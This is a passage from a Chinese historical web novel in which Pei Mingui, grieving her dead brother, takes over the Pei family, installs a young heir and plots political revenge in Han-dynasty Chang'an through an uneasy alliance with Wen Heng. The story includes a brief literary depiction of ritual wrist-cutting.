里面传来淡淡的苦笑,伴着幽幽的叹息:“你知道的,我不在是裴家人了,又拿什么名义来振兴裴家?一个外人,谁认你是裴家人?” “小姐依旧是裴家的小姐。”苏央说着,突然就哽咽起来,“家主当日并未划去小姐的名姓,家主划去的,是自己的名字。” 一句话轻飘飘地飘了出来,却重重地砸在地上。 纱帘之后似乎有什么重物落地的声音,白纱猛然拂开,憔悴的女子踉踉跄跄地走了过来,一把拽住苏央,急切地问道:“什么意思。” 苏央似乎在也无法忍耐,闭上眼却流下了泪:“家主很在乎小姐,他从未有让小姐无家可归的意思。他就算将自己逐出裴家,也不会将小姐逐出裴家的。今此以往,小姐便是唯一的裴家人了。” 一语宛若惊雷,将裴明绘深深从痛哭悲痛中炸醒。 她不可置信地后退,脚踩在曳地的裙裾之上,猛然摔在了地上。 她怔怔地看着苏央,眼前的景色却模糊起来,色块斑斓里那夜的情景再度浮现在眼前。 “子吟,这只是梦罢了。”裴瑛的手轻柔地抚过她的发,凝神而视,“为兄怎么会不要你呢,就算为兄不要自己,也不会叫你走的。” “你放心。”裴瑛擦去她脸庞的泪珠,声音是那么温柔而又那么笃定,“为兄在一日,就会站在你身前一日。” “真的?” 她仰着头看着裴瑛,裴瑛垂着头看着她,笑容是那么真切,映着身后的烛火,他的整个人似乎发着辉煌的光芒。 他一字一句,无比真诚地回答道:“真的。” 当时,她的心一下就安稳下来,她伏在他的怀里安安静静地睡着了。 琉璃灯万般色彩映入他的眼中,点燃里面坚毅而又温柔的神色,由内而外透出好看的光彩来。 “我纵死,也会护得你周全。” 她在入睡之际,这句话便从她的耳廓里幽幽飘了进去,那悬着的心也彻底落了下去。 为什么呢? 裴明绘踉踉跄跄站了起来,不知所措地四处张望。 为什么他要对她这么好,却又对自己这么狠? 裴明绘迷茫地看着四处的环境,这个人仿佛失了魂魄一般,踉踉跄跄地走在。 迷茫,无措,痛苦,悔恨等诸多情绪铺天盖地地压了过来,压得裴明绘喘不上气,可是却又逼着她清醒过来。 她整个人仿佛从濒临死亡的绝境悬崖勒马一般,重新找到了生路。 她赤足披发走了出来,走在回廊之下,仰头看着那已然大亮的邈远天际,阴云已然退去,太阳闪耀在纯净的蓝天之上,耀目的光线刺痛了她的眼睛,让她忍不住流下泪来。 泪水迸溅在石砖之上,摔得四分五裂。 明澈而又浓烈的日光照在她苍白的面容之上,让她的肌肤泛着白玉一般的光泽,她无知无觉地流着泪。 该结束了,自顾自的痛苦只会杀死自己,成全他们。 她绝不会让他们胜利的。 裴明绘慢慢地走着,穿过无风自动的白幡,慢慢地往前走。 这是一条白天黑夜永不停息的路。 一条注定只有自己独行的艰苦的路。 没了裴瑛的庇护,猛烈的风雨注定会让她遍体鳞伤,倒霉一点或许会死无葬身之地,幸运一点或许会苟活到善终。 可是什么善终? 难道苟活到最后就是善终吗? 裴明绘摇了摇头,笑了起来。 她情愿走上一条轰轰烈烈的死路,到时候在黄泉与他相会的时候,就可以对他说,她没给他丢脸。 山衔红日,晚霞分外艳丽地铺张在天空之上,暮夏的凤将渭水的潮气也一并带了过来,并氤氲在繁荣的长安城里,将落日的红光渲染得更加朦胧。 裴家的祠堂再次打开,起香烛,摆香案,一袭素衣的裴明绘慢慢地走了进去,敛起衣裙跪在蒲团之上,郑重三叩首。 乌黑发髻只有素色的丝绢扎起,面上一丝粉黛也无,她的肌肤依旧苍白,连嘴唇也是,仿佛这具身体没有血液流动一样。 当她再次抬起头的时候,目光落在裴瑛的牌位上是,眼神里不复哀痛,唯余明澈清晰的冷静,像是冰层一般,夏日灼热的日光落进去,照亮冰层之下熊熊燃烧的复仇的火焰。 该怎么办? 裴明绘细细思量着。 也许只有天知道了。 她心道。 这段时日太长,也太痛苦了,她整个人浑浑噩噩的,不知白天黑夜,可是一朝清醒,这些如同流云浮烟一般的痛苦也被悉数压回了心底。 长安城的城楼之上的风格外得大,连绵欺负的城垛之上的大汉的旗帜被吹得瑟瑟作响。 风很大,裴明绘只能眯着眼看着熙熙攘攘川流不息的行人,凝神细思,她的发丝斗殴风吹得向后飘去,肩上披着的的飘带也随风舒卷,素色的衣袂裙裾在风中鼓荡着。 这几个月,长安城发生了好几件大的事,这些事都是裴明绘都看在眼里,记在心里。 她看着长安里裴瑛的势力不断被打压被蚕食,他们纵有联合反抗也被猛烈地压制下去,最后的结果也是被分化被蚕食,有的死了,有的活着被左迁至地方,怕是这辈子也无望回到长安城了,也有活着的开始过得风光起来,但明眼人一看便知他们投靠了谁。 其中最大的事情莫过于新丞相的选任。 先前裴明绘曾经猜测过会谁人,今日一观,却是不错。 窦玉。 这个曾经与已故武安侯陆珩舟针锋相对的外戚,再次登上了庙堂。 虽然裴明绘不大明白为什么皇帝会启用窦玉,照例说,他应当扶持新的外戚为自己所用,而不是启用已经在后宫无人的窦氏。 其中的原因,大抵值得她细细揣摩。 但没关系,只要她不死,她的时间就长得很。 裴明绘偏过头去,看着渐渐沉下去的一轮红日,目不转睛,直到天际线在也没有了他的光芒。 冰冷白硬的月亮从东方升起来了,她的光芒是那么澄澈,虽然不比太阳的光耀眼热烈,却也是那般明亮,如水一般的光芒流泻在人间,让人间不至于是真的昏暗,让那些活动在黑夜里的鸟兽不至于太过猖獗。 复仇。 她偏过头去。 内心的火焰在燃烧,她急迫地想要复仇,可是她不能。 她需要等待时机,有道是君子藏器于时,待时而动。 她决不能被仇恨冲昏头脑,她没有可以横冲直撞的后台,也没有谋略大局的才能。 所有,她只能等待。 但是,等待并不意味着什么也不做,彼时敌人力量太过强大,她只能隐忍蛰伏。 她或许不需要自己动手,政治上的事,多的是分化与借力打力。 他们绝对不是一条心的。 裴明绘心道。 她不相信,在取得巨大胜利之后,他们还能够一条心。 最主要的原因,当今陛下绝不是庸常之君,绝不会允许臣下有逾越皇权的举动。 而为窦玉鞍前马后的人,无一不为着追求自身利益而来的,但往往他们的利益,与皇帝的利益确是相悖的。 他们虽然暂时并不能有所动作,可是他们迟早会露出致命的马脚,只要他们露出马脚,裴明绘拼尽性命也要将他们拉下地狱。 与此同时,她相信,为窦玉鞍前马后的人,在窦玉登上丞相之位,肯定会来索要自己的报酬。 这不会太远。 只有白痴才会完全答应他们的要求。 显然,窦玉不是白痴,他绝不会答应他们,或者说,不会完全答应他们。 假如她记得不错,以温珩的个性,怎么肯屈居于窦玉之下呢? 几声嘶哑的鸟鸣惊醒了陷入沉思的裴明绘,她猛然抬头四顾,就见深蓝色的夜空飞着各色瞧不清颜色的鸟,它们扑着翅膀往四面八方飞去,不再漫无目的的飞翔。 天黑了,倦鸟也要归巢了。 那她呢,她该去哪儿呢? 裴明绘在深秋的夜里望向裴府的方向,冰凉的手指渐渐蜷缩起来,她深深地闭上眼,那种深到骨髓里,久久缠绕着的痛苦抓住了她的心口。 她知道,那里已经没有了他。 他永远不会在回来了。 第66章 复仇第一 今此以往的两年后, 正是元狩二年仲夏。 此时未到汛期,渭水平静而又祥和地流淌在广袤的关中平原之上,连绵十里的长安城楼倒映在水面上, 被闷热的风揉皱成一片颤动着的碎影。 一个背着竹篓的布衣年轻人在驻足于横跨渭水的白玉桥,仰头看向盛大的长安城, 那门楼上飞着的黑色飞檐凌空展翅,迎风舒卷的大汉旗帜里掩映着持着兵刃守卫的羽林卫。 布衣年轻人生得面白如玉,丰神俊朗,举手投足里自有一番光华。 他走进城楼,长安的繁华如同流水画卷般铺陈开来,盛夏的阳光从天际洒下, 将长安的连绵起伏错落有致的宅第高阁凌空复道都镀上一层浅金色。 这条大街南北走向, 北边的尽头便是皇城,东西两侧繁华的街市,熙熙攘攘走在街上的行人,也都衣着不凡, 就连眉间的神情也与其他城邑的人不同。 这是独属于帝都长安人的自信与傲气。 他四处环顾, 目不暇接地看着长安城, 他的身边是川流不息的高车驷马,里面坐着的都是达官贵人皇族贵胄,单单拎出一个来都是他此生都不可企及的位置。 他不住地赞叹着集天下奇迹于一城的长安,忽然就被一旁的声音吸引了, 他循声望去,就见此处是一处支起棚子的茶摊,出于好奇心, 他便行至茶摊,要一碗粗茶。 “你听说了没, 今年来裴家又起来了。” “你说这原先的御史大夫不都死了吗,怎么这裴家还能屹立不倒?照常理说,这裴家在朝廷里头都没人了,这裴家也该被踢出去了,怎么还这么红火呢。” “这也是道理,这新晋的御史大夫可是与原先的裴大人可是死敌,当年斗得可真是一个血雨腥风,死了不知多少人。以温大人的脾性,除了裴大人之后,就该清算裴家了。可是这裴家不仅没倒,反而这么红火,怪哉怪哉。真是叫人摸不到头脑!” “谁知道呢?” 街角处的茶摊上的百姓三三两两地讨论着,最后也没讨论出个是非来。 年轻人仔细地听着,陶碗中的茶却没喝多少。 森森马蹄声响彻长街,百姓们轰然散开,就见绣衣缇骑的侍御史列队前呼后拥驰骋而过,其腰间袖上皆饰金,在日光的照耀之下,格外耀目。 “真威风啊。” 其间有一人感叹道。 “这有什么好的。” 旁边一人鄙夷道。 “这群羽林卫皆是仗势欺人之辈,不过仗了新晋三公的温珩的势,行事别提那个嚣张,前几天才发生的那件是你还不知道吗,就是这个温珩的手笔!原以为原先那个御史大夫死了之后,朝廷能够消停几日,不要在死人了,可是不成想,死的人反而越来越多,看来,这长安终究不是久留之地,就怕那一日这大祸就要降在你我这布衣之上了。” “看来这御史大夫真是一任不如一任了,这糟日子,什么是个头啊!” …… 年轻人听罢,遂起身,背好竹篓,出了长街,便向着大臣聚居的尚冠街而去。 很快,他便停在了裴府的府门前,与阍人报了姓名之后,阍人便一路小跑着往里面通报,很快一位儒雅的男子便走了出来,二人互相见礼,这位名叫苏央的管家便领着这位名叫裴何的年轻人走了进去。 裴府很大,六进的华阔庭院,其间连房洞户,台阁相通,盛夏里的各色花木开得正艳正欢,这些缤纷的颜色掩映之下是雕镂图画的柱壁,青琐绮疏的窗牖,无一不精致,无一不华美。 年轻人走过白石砖铺就得道路,便停在了正厅之前。 苏央引年轻人往里走,拱手道:“还请公子在此安坐,待我去请家主来。” 苏央辞别年轻人,便往后院走去,停在一在白日也紧紧着的院门前,示意左右看守的侍女将门打开。 院子里种着许多花木,因着盛夏时节,这些品种繁多的花木都盛放来,簇在枝头争着芳香,夺着夏日的魁首。 他看在深深花木掩映里的房屋,无声地叹息一声,慢慢走了进去。 苏央拾阶而上,停在紧闭着的朱红的门前,抬手在门上一轻二重地拍了三下,过了许久,方才传来一声女声,这道女声像极了从萦绕着有毒瘴气的幽幽洞窟里传出来的一般:“进来罢。” 苏央的内心再度长长的叹息了一声,推门而进。 屋子里很暗,到处垂着红色的纱,这是像是干涸的血一般的颜色,就这么积在屋子里,遮蔽了本就不多的漏进屋子里的日光。 隐隐约约里,他似乎可以从红纱后瞥见一长身而跪的女子的身影,一点红烛的光幽幽闪烁着,与铜镜里的复影遥遥相对。 苏央拱手见礼:“家主。” 女子微微动作,像是偏过头来。 她直起身子来,伸出手撑在镜台上,宽大的广袖便落了下来,遮住苍白手臂上的道道伤痕,她缓缓地站了起来。 质地华丽深沉的深蓝色衣衫拖过红色地毡上的斑斑血迹,很快一只手便从红纱里伸了出来。 这是一只苍白的,毫无血色的手,指尖处几近透明,她慢慢地拂开了着这深红的纱帘,露出那张美到艳丽的面容,微微上挑的凤眸,里面凝着一双黑暗深邃的眼珠,幽幽地倒映着苏央的脸容。 这是裴家新任家主。 裴明绘。 苏央定定地看着裴明绘,看着她愈发邪气的面容,便知道她绝对沾上了什么不得了的东西。 “家……家主。” 苏央欲言又止,瞳眸忍不住颤动,像是波澜不息的湖泊。 “来了?” 裴明绘不动声色地微笑起来,将那些异常都掩饰在微笑之下。 “我早就盼着裴宣之来了,今他一来,只要拜了祖宗,易了族支,裴氏正统也算是有了着落了。” 她轻轻地叹了一口气,眉宇间一丝若隐若现的忧愁也彻底消散了:“我也算是对裴氏祖宗,有了交代。” “……” 苏央沉默地看着面前面前姣美体态修雅的女子,内心却是言不尽说不完的悲哀与忿然。 昔日那个温柔的小姐哪里去了,她怎么就便成这幅模样了呢。 过了许久,他感觉自己面部的肌肉都僵硬了,扯了扯嘴角:“家主,我……有一句话,不知当讲不当讲……” “不当讲。” 裴明绘蹙起娥眉,往前走了几步,与苏央擦肩而过,她微微偏过头来,“你的意思我明白,也很有道理,但是于我来说,不当讲,也不可讲。” 言罢,裴明绘便离开了,只留下苏央独自一人站立在原地。 他都知道,在如此的血海深仇面前,她自然不能再是那个躲在他人羽翼之上的那个不谙人世残酷的女子了。 已故裴家家主留给裴明绘,足够她在河东谋生独立,但是若是仅仅凭借这些,却是远远不能复仇的。 如今裴明绘能在长安立足,正是裴瑛昔日好友门生相助,若非如此,她怕是在裴瑛死后第一年就被赶出长安了。 而在裴瑛死后的第一年,裴明绘过得很艰辛,也很痛苦。 不只裴瑛身死所带来的不可弥合的伤口,更有在失去裴瑛压制后庙堂骤然掀起的波澜,她大抵也不善此此道,故有孤立无援般的孤独与无助,可是伤痛所带给人却不只有痛苦,却让裴明绘也意识到了这一点,她便频繁地周游在名利场上,看似游历官场之外,却是步步都朝着官场走,那些不成文的贵族准则与官场交易,她业已明白如画。 ———— 裴宣之一眼便看见了这位名动长安的女子,她一如传闻那般美丽动人,尤其那唇畔噙着的微笑,若有若无若隐若现,分外勾人魂魄。 但是裴宣之却有些毛骨悚然,惊觉她的一颦一笑都仿佛设计好了似的,全是计谋,没有一丝真心。 “怎么了?” 裴明绘好整以暇地倚在门前,似笑非笑地看着陷入惊慌之中的少年,她挑了挑,暗中审视着这位初出茅庐的年轻人。 “后悔了?” “不……不后悔。” 裴宣之勉励静下心神来,他抬眸看向裴明绘,信誓旦旦道:“晚辈既来了,就绝无后悔之意!” “好。” 裴明绘满意地看着裴宣之。 “有胆量。” 裴宣之出身裴氏旁支的一个小族,又是小族的庶出,家里的爵位是轮不到他了,因此,他若是想要一个光辉灿烂的前程,就只能靠着自己的拼出一番好的前程来。 但是话是这么说,但是按照汉朝今日的律法常规,除非裴宣之有着过人的才能,否则怕是到改朝换代朝堂也没有他裴宣之的立足之地。 更重要的是,对于一个旁支庶子来说,能够成为裴氏嫡氏,承继已故御史大夫裴瑛的辉煌,这更是想都不敢想的事情。 裴宣之自幼都盼望着能够出人头地,如今有这个机会,他怎么可能不为此心动。 只要成为裴氏嫡氏,又有长安名流裴家主的辅佐,只需要一个得当的时机,他便有一步登天改天换地的机会。 而彼时的裴明绘花费数年在朝堂经营,也急迫地需要一位裴氏嫡系的公子在朝中立定脚跟,以备来日对联合裴瑛留下的诸多门生故吏与朝中好友仇敌在朝堂上的联合反击。 裴氏嫡氏是复仇的关键。 因此,裴明绘于裴氏诸多旁支考察日久,终于选定了这位颇具能力年轻人,虽不及裴瑛半分,但是也够用了。 只要他不畏难,不畏惧那些人,她就会扶他直上青云一步登天。 —— 没有挑选吉日,裴明绘直接让管家开了裴氏祠堂,让裴宣之拜了祖宗,认自己做了长姐,焚香高祖,裴氏嫡系也算有了延续。 裴明绘的指尖抚过那道哀戚粗重的墨痕,看着被划去的裴瑛的性命,紧紧地闭上了眼睛。 心底的哀戚瞬间翻涌成海。 “长……长姐。” 裴宣之一偏头便看见裴明绘的眼圈红了,像是涂抹一层胭脂一般嫣红。 “无事。” 裴明绘压下所有的情绪,将簿册合上,推至一旁,吩咐管家将其收好,她偏过头来,看着裴宣之:“今此以往,你便是裴氏嫡系一脉了,万不可辱没裴氏门楣,不可违裴氏族训,不可行大逆不道事,不可做伤天害理事,不可做对不起天下百姓事,你要做一个堂堂正正的裴氏公子,为着振兴裴氏家族,承继先家主的荣耀,你当夙兴夜寐,永行正义事。” “谨记长姐教诲,裴宣之誓死不忘,定不负长姐期望,定不辱没裴氏门楣。” 西山衔日,裴府浸在一片红光里,裴明绘出了祠堂,步子却有些虚浮,她望着如血的残阳,眸子里满是不知何处去的无助,太阳落进苍茫的山里,再也看不见它的踪迹,裴明绘也从恍惚中回过神来。 经过这一日的劳顿之后,裴明绘十分疲惫,她回到了自己的卧房。 卧房里空无一人,一丝声息也没有,她早就遣散了自己院子里侍候的所有婢女,除了特定的日子叫婢女进来洒扫庭除以外,是绝对不允许任何人进来的,就连平日里最信任的春喜与夏荷也能不例外。 随着时间无声地挪移,太阳的最后的一点余晖也消散无踪了,屋子黑漆漆再不见一丝光亮,一只红烛倏然亮起,它幽幽地亮着红光,被不知从何处涌来的风出动,左右摇晃上下盈缩,像是跳动着的鲜红心脏。 裴明绘敛衣跪坐其后,黑色的瞳眸里倒映着火光,她看向铜镜里自己,倏然被吓了一跳,她的浑身开始颤抖起来。 镜子里的她,脸色苍白地像是新雪一般,眼睛空洞的没有一丝光亮。 这还是她吗? 裴明绘陷入了深深的怀疑,可是就在她眯着眼睛仔细看了好久,才确定镜子里的是她。 是她啊…… 周围逼仄浓稠的黑暗压向了这渺小的光明,几乎让她喘不上气来。 良久,裴明绘紧绷的身体才开始放松下来,她抬起头来,苍白的额头被红烛的光照出一片艳红来。 她再次坐直了身体。 她知道,苏央觉得自己疯了,几乎所有的人都以为自己疯了。 可是只有她自己知道,自己没有疯。 她只不过沾染上了某些人人畏惧着的东西罢了。 这件事,足以让裴氏再一次族灭。 可是裴氏本就没人了,他想抄家也是抄无可抄,定多是将这座坟墓似的府邸收走,将死人一般的她杀死罢了。 锋利光滑的剑面闪过她的容颜,剑锋滑过她的手腕内侧肌肤,鲜血滴落在烛火之上,蔓延在棋盘之上,形成复杂交错的线条。 裴明绘将头枕在胳膊上,慢慢地闭上了眼睛,眼前的光亮渐渐被涌上来的黑色的潮水淹没,可是她原本一片死寂的黑暗的心里却燃起了点点光芒,这些如同荧火一般微弱地光芒汇聚在一起,光亮渐渐盛大起来,刺得她睁不开眼睛。 光芒退潮,花瓣蜂拥而来,裴明绘以袖遮面,待到花瓣也退去,她的面上已然多了面纱,遮住了她的大半容颜。 她往前走着,景象渐次清晰起来,她见到了那个她魂牵梦绕着的人。 这是梦吗? 裴明绘其实也搞不明白这孰真孰假。 巫蛊所带来的幻境,可以引导人见到最想见到的人。 午夜梦回,你可会见到你日日夜夜朝思暮想的那个人? 裴明绘慢慢地往前走,那道如同空山新雨朦胧的身影渐渐浮现在眼前,那抹清醒那么生动,音容如同真的他一般无二。 雪下得正紧,白衣的裴瑛坐在廊下,仰头看纷飞雪落。 他的凤眸修长而又优雅,可是在空泛的发呆之下,却圆润起来,所有锋芒都内敛进瞳眸深处,像是宛若清润柔和的灵玉,只可偶得,不可强求。 一盏琉璃风灯悬在他的头顶,冷风垂来,各色光彩交替变化,落在他身上,为他镀上一层梦幻的光彩。 他在发呆。 裴明绘很少见他如此模样。 孤寂,迷茫,落寞,无措诸多情绪加诸他身,让他失去了过往的从容不迫,取而代之的事那种密密麻麻的可怕空寂。 原来,裴瑛也会有这些情绪吗? 裴瑛似乎察觉到了什么,目光朝着她的方向看了过来,紧紧蹙着的眉这才稍稍舒卷起来,一丝若有若无的笑意浮在他的唇畔,细细辨去,却像是压抑着的苦笑:“你来了。” 裴明绘慢慢地走了过去,在裴瑛身边坐下:“嗯,我来了。” “怎么样,你那里还顺利吗?”裴瑛的目光偏了过来,正好与她的目光撞在一起,这般赤诚的没有忧虑的目光,让裴明绘忍不住退缩了,她偏过头去,不再看他。 “嗯。” 裴明绘尖尖的下巴搁在膝上,闷闷地嗯了声。 “怎么不高兴,谁欺负你了吗?” 裴瑛无奈地笑道,伸出手摸了摸她的发顶,一如既往,却又大有不同,可是其间的不同,裴明绘却又说不明白,也理不清楚。 “从我见你的第一面起,你就不高兴,我好像就没见你高兴过。” 裴明绘低下头,闭上眼。 高兴吗? 她怕是永远也不会再高兴了。 哪怕是在梦里见到了让她辗转反侧梦寐不忘的人,她也没有办法高兴。 裴明绘沉默着,她不想说话,因为一说话她简直委屈都要大哭出声,可是难得与他在梦里相见,怎么可以让眼泪与哭泣浪费掉呢。 裴明绘摇了摇头,她紧紧咬住下唇,几乎要咬出血来。 “明儿……” 裴瑛看着眼前闯入他梦中的女子,看着她无助地蜷缩成小小的一团,眼眶里氤氲着水幕,随时都会凝成泪珠流下来。 裴明绘不是第一次入裴瑛的梦。 裴明绘并未告诉他,她的真实姓名,反而是用面纱掩了面容,用了明儿的假称与他相处。 这是她自己的私心,盼着在她的一生,还能与裴瑛不以兄妹相称。 况且,她也不想让他担心,即使只是在梦里的,虚无的,全有自己思念构想而来的他。 “裴大人,我没事,只是最近府里的事物太过繁忙,我有些忙不过来,还有……还有那些人,总……总是欺负我……” 裴明绘原本想借着说话把心底的委屈都压下去,可是一开口说话,心底的委屈就再也压不住,化作止不住的泪水流下下来。 裴瑛静静地看着哭泣着的女子,心底那根柔弱的弦瞬间被触动。 他慢慢地搂住女子的肩膀,让她靠在自己怀里,慢慢地擦去她的泪水。 他不知道女子的面容,却不自觉地被她吸引。 看着她哭成这样,裴瑛大抵也有些触动,遂温声劝慰道:“别怕,我在这儿,告诉我,你在何处,改日我便去寻你,助你逃了那是非之地。” 不可能不可能,他们永远都不会在见面了。 裴明绘哭到魂不守舍,依偎在裴瑛的怀里,像是受了霜寒的雏鸟一般,躲在亲鸟温暖的羽翼下瑟缩。 “不必了,大人又何必介入我的因果呢?” 裴明绘坐直了身体,眼眶哭到红肿。 “我自有自己的生存之道,况且大人教我的许多方法,确是救我于水深火热里,我又怎么能在劳烦大人呢?” “因果?” 裴瑛挑了挑眉,微笑道。 “我自救你,便有承担你因果的能力与胆量。” 裴明绘破涕为笑,抬起手背擦掉了眼角的余泪:“我知道大人是厉害的人,只是大人日理万机,实在不必为我一个小人费心。” 裴瑛见她实在抗拒,便也不再多说什么,只同她在一起坐着。 漫天飞雪里,裴明绘歪头看着裴瑛,看着他看着漫天飘飞的莹莹雪花,俊朗的眉目里却是散不尽的忧愁。 她知道,这个时间的裴瑛正在为着自己错吻之事而发愁。 良久,裴明绘终于鼓足了勇气,开口道: “大人在烦恼什么,或许我可以为大人排忧解难。” “无事。” 裴瑛显然没有与她分享自己的事的意思,遂随意敷衍了过去。 “真的没事?” 裴明绘心跳得有些快,一时之间就说漏了嘴。 “可我见大人很困扰,我与令妹同为女儿,或许可以……” 冷风带着雪沫打着旋飘过,吹得檐下铁门叮咚响个不停,裴瑛猛然站起,他的衣袖轻盈随风而起,乌黑的长发在空中飞扬着,像是柔顺的丝缎一般。 “闭嘴。” 裴瑛的理智彻底回拢,原本游离迷惘的神色瞬间消失无踪。 冷风游窜着带动枝摇雪落,寒鸦盘旋不栖。 “少来置喙我的事,与你无关。” 裴瑛末了又补上一句,甩袖大步离开。 “哥……” 裴明绘急忙起身想要去拦他,可是话刚说出口,就立马打住了。 裴明绘垂下头,若有所思,但是时间不等人,她也只得恋恋不舍地转身离去,离开这个她长久留恋着思念着的人。 裴瑛瞬间驻足,他猛地偏过头去,身后却空无一人,只有冷风垂着雪沫在空中打着旋,长廊里的风灯的光影摇晃不歇,映得廊下积雪莹莹。 随着一声火花炸开的声音,裴明绘也从梦中醒来。 烛火已经熄灭,屋子黑漆漆地没有一丝光亮。 又过了许久,天边渐渐亮起来。 裴明绘后知后觉地直起身来,从花隙窗纱里漏进来的一丝天光幽幽然落在她迷蒙涣散的瞳眸里,她抿了抿毫无血色的唇,随即地从一旁的匣子里扯了些绢布,便将伤痕累累的手腕缠住。 她又昏昏沉沉地在此休息了好久,等到透亮的清光将整间屋子都照亮的时候,她方才起身离开了这间屋子。 屋子里红纱沉沉,像是凝滞的血雾,那面昏黄的铜镜映着一丝倏然复燃的烛火的复影。 * 灯火璀璨,大有无边无际地蔓延开来的架势。 裴明绘依旧是那一身深蓝色的深衣,黑色的发用深黑色的发带扎起,用几根暗沉的银簪聊作装饰。 素手拎着一只吉金色的青铜酒爵,裴明绘百无聊赖地倚在千灯阁二楼的栏杆处,黑漆漆的眸子好整以暇地映着被大街灯火夹着的人流,人流一路游动,一直通向那金碧辉煌赫然生威的皇宫,极目远眺,便是层层叠叠望不到边际的宫室。 忽的,她偏过去头去,看见了那立在朱漆彩绘屏风之后的人。 身后的九连枝铜灯的烛光将他的影子拉得很长,一直蔓延到了她的裙裾上,让本就暗沉的深蓝色依旧氤氲成了黑色。 裴明绘眯起眼睛。 来者是谁? 正是新任御史大夫温珩温重明。 “来了?” 裴明绘笑着向他举爵,酒爵中的长安名酒荡出涟漪来。 “看来温大人今日的朝务很是繁忙,温大人可一定要注意身体啊。” 举爵毕,裴明绘回过手来,欲将爵中酒一饮而尽,可是那吉金色的酒爵却又被那修长优雅的手夺了过去。 温珩微笑,不动声色地讲酒爵后撤,直到将其挪到裴明绘无法碰到之地:“你喝多了。” “喝多了?” 裴明沉默地看着他的举动,绘勾起一丝笑来,“你可别说,却是不该多喝了。” 多喝了,就该醒不过来了。 “我今日有件好事来告诉你。” 裴明绘温柔地笑了起来,极具亲和力,让人忍不住就放下了戒备。 就连温珩也不例外。 “好事?” 温珩好奇地挑起了眉,仔细地打量着裴明绘,看着那红晕甚至透过了白皙的脂粉。 看这样子,她是真的醉了。 真的醉了,就会说真心话。 “我听重明在朝的这几日多受丞相掣肘,行事很是不便。正巧前几日我寻了位得力的年轻人,想必打着裴家的名号,能够博得陛下的几分怜惜,让重明你的路更好走些。” 裴明绘好打了个哈欠,将尖尖的下颌搁在胳膊上,似乎格外困倦,眼睛都抬不起来了。 “真是为了我?” 温珩笑了笑,若有所思地看着微醉的裴明绘。 “你怕是其中一点为着我的心思都没有。” “你只说对了一半,我却是不只是为着你的,而只是为着我的。毕竟我是裴家人,家族产业也都在长安,你也知道的,在长安经营产业,朝中若是无人,我早就被踢出长安了。不过这后一句,这倒是夸大其词了,我确是有一些的为着你的。左右窦玉完了蛋,不就再也没有任何人阻拦你了。” 裴明绘拉起眼皮来,转过头来看着温珩。 “这难道不是好事吗?至少对你来说,应该是再好不过的好事了。” “你朝中怎么会无人,就只说你那个老师桑弘羊,他可是陛下眼前的红人,有他在,怎么也不会让你被驱离长安的。” “是吗?” 裴明绘勾了下唇角,在笑,却也没在笑。 “我还以为你会说,你会帮我呢?” 温珩顿住,良久,方才说道:“也许罢。” “你的话,可真敷衍你帮我了可不止一回了。” 裴明绘眯着眼看着温珩,依旧似笑非笑。 温珩好似浑然无觉,只是笑道:“辞巧理曲,我就不为你喝彩了。” 裴明绘无所谓地说道:“我本心帮你,你却这般,好没意思,你既不愿我帮你,那我们也就不必再说什么没道理的话里。其间契机,就在眼前,你把握不住,可莫怪我找别人去了。左右我的仇肯定是要报的,你不想往上走,就呆在这里罢。” 屋子里很安静,外面的大街上喧闹像是一波接着一波的潮水,时急时缓,时静时闹,让裴明绘的眼皮又往下坠,头一歪,便从掌心摔了下去,但是却又跌在了温珩的掌心里。 她抬起眼帘来,因为困倦而分外迷蒙的眼神映着他毫不回避地直视着她的模样。 她强撑着精神站直了身子:“我先走了,告辞。” “你别生气。” 温珩刹那间觉得自己大抵是有些病在的,他觉得自己该寻个大夫去看一看,或许,他更应该去寻个巫医看一看。 温珩已然发觉,自己竟然被她的话牵着走。 他心中骤然大惊,蹙起了眉,但他仔细思量一番,觉得她说的话也确是有一番道理。 温珩如今官居御史大夫位列三公,他的位置确实已经登峰造极,是千千万万人梦寐以求的难以达到的位置。 可是温珩却绝不甘心长久地屈居于窦玉之下,听从他的指挥,服从他的命令。 他希图取而代之,成为一人之下万人之上的丞相。 但是对于裴明绘提出的邀约,温珩却十分谨慎,因为害死裴瑛他也有一份,但是他观裴明绘之仇恨,纯然是对着窦玉,这不由叫温珩暂时地放下了心。 温珩心里知道,他不愿与她为敌。 不到万不得已,他不愿与她为敌。 她虽是裴瑛的妹妹,他宿敌的妹妹。 可她终究与裴瑛是不同的。 温珩沉默着看着裴明绘,心里却愈发地不能安定。 虽然他与裴瑛不睦确是朝野共识,但他绝不会让她知道,裴瑛的死,却是有他的参与。 他会引导着,让她的仇恨对准窦玉。 至少这样,她也算是与他在一处了。 至少的至少,她不会再寻死了。 温珩在心里叹了一口气,看着她虽然穿着华丽深沉的三重深衣,可背影依旧那么单薄,像是被风一吹几乎就可以被吹走。 夜渐渐深了,就连长安的灯潮也开始褪色,黑夜里开始翻涌起潮气来,让几盏还亮着灯笼在夜里望去像是朦胧的红雾。 罢了罢了,不过一个不足挂齿的初出茅庐的年轻人罢了,给他一个官职挂着又何妨呢? 虽然裴瑛厌恶极了裴家人,但毕竟裴瑛死了,过去的仇恨也可以一笔勾销了。 人死债销。 同理,人死仇亦销。 “好,我答应你。” 温珩耸了耸肩,略有些无奈地摆了摆手。 “我会向陛下举荐这个年轻人,不过陛下若是要召见这个年轻人,到时候就只能看这个年轻人自己的本事了。” 裴明绘倏然笑了起来:“御史大夫哪里的话,温大人你说出口的话,自然就无虞了。” “那大人要的东西,我自会派人送到贵府上。”裴明绘这才些微有了精神,她走过来,顺手拿起桌案上的酒爵,对着温珩手中酒爵轻轻一碰,青铜酒爵顿时发出清脆的声响,爵中清酒散出圈圈涟漪来,“那就祝我们旗开得胜,大功告成。” 酒爵相碰,以表合约达成。 温珩笑了笑,温声说道:“好。” 裴明绘转身离开,最后一丝笑意迅速湮灭。 虽然温珩的种种行径,以及他对她极大的包容与极强的迁就,似乎都表露着他对她独特却奇怪的关心。 或许,她可以将这种行为定义为爱。 但是,只有傻子才会这么做。 她清楚知道温珩是谁,是一个演技高超的,善于伪装无辜与神情的表演家。 或许,他现在就在伪装,靠着温情的假象来迷惑她,将所有矛头都指向窦玉,而让她忽略身为帮凶的他。 她干掉窦玉,温珩顺势干掉她。 正有所谓螳螂捕蝉黄雀在后,她可不会在有前车之鉴的情况下,再重蹈往日的覆辙。 她已经输不起了。 裴明绘看似风光,游刃有余地周旋各处,有许多人庇护帮助,一步步地走到今日,可是只有她自己知道其中的苦楚与行将到来的危局。 一步踏错,挫骨扬灰。 她绝不相信他的鬼话,也绝不会被他精编织出来的话欺骗。 